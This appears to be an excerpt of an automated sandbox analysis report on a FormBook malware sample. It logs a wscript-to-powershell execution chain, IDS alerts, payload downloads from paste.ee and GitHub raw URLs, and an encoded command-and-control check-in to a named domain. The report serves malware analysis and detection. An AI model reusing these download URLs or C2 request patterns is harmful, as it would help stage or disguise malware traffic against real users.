Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: mNqSPruzCXM.exe, 00000011.00000000.2643006321.000000000026E000.00000002.00000001.01000000.00000006.sdmp, mNqSPruzCXM.exe, 00000018.00000000.2801120472.000000000026E000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: appidtel.pdbGCTL source: convert.exe, 00000013.00000002.2977602776.0000000003C8C000.00000004.10000000.00040000.00000000.sdmp, convert.exe, 00000013.00000002.2974673632.0000000002F44000.00000004.00000020.00020000.00000000.sdmp, mNqSPruzCXM.exe, 00000018.00000002.3537079576.000000000259C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3534781987.000000002F20C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000008.00000002.2502842295.00007FFD34860000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\SysWOW64\convert.exe	Code function: 4x nop then mov ebx, 00000004h	19_2_035604DE
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 4x nop then pop edi	24_2_04A194DF
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 4x nop then xor eax, eax	24_2_04A1D075
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 4x nop then pop edi	24_2_04A17BCC

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50000 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.6:49842 -> 188.114.96.3:443

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: paste.ee

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10

Source: global traffic	HTTP traffic detected: GET /NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/SKF1O/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 199.59.243.227 199.59.243.227

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: BODIS-NJUS BODIS-NJUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/SKF1O/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6450/?EzrD=UbYh&mzEt0=52WN8KqJ7jnOEIaeyCxqWgP+KtwCoaIDn8AokGilDz2wl3Qo7VTMWMYazPgXvK5QOqLqt5Ti3xVPGgdXo5E4TqsbUcYSzSRqT9OtwmziQ+LYHZobMnJC5bEpbrqa7K8o2xX/TOE= HTTP/1.1Host: www.donante-de-ovulos.bizAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; en-si; HTC_Desire_601 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: paste.ee
Source: global traffic	DNS traffic detected: DNS query: www.donante-de-ovulos.biz

Source: powershell.exe, 00000008.00000002.2479829877.000001B5FF4CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: svchost.exe, 0000001B.00000002.3540546756.0000021B42E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.27.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.27.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.27.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.27.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.27.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.27.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.27.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.27.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000008.00000002.2445760088.000001B5F72E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2410867830.000001B5E8BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E776D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E8B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E8906000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: powershell.exe, 00000005.00000002.2347449551.000001F606841000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2508706310.000001875DE91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2410867830.000001B5E7271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E894F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000008.00000002.2410867830.000001B5E8B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: convert.exe, 00000013.00000003.2915997217.0000000007ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
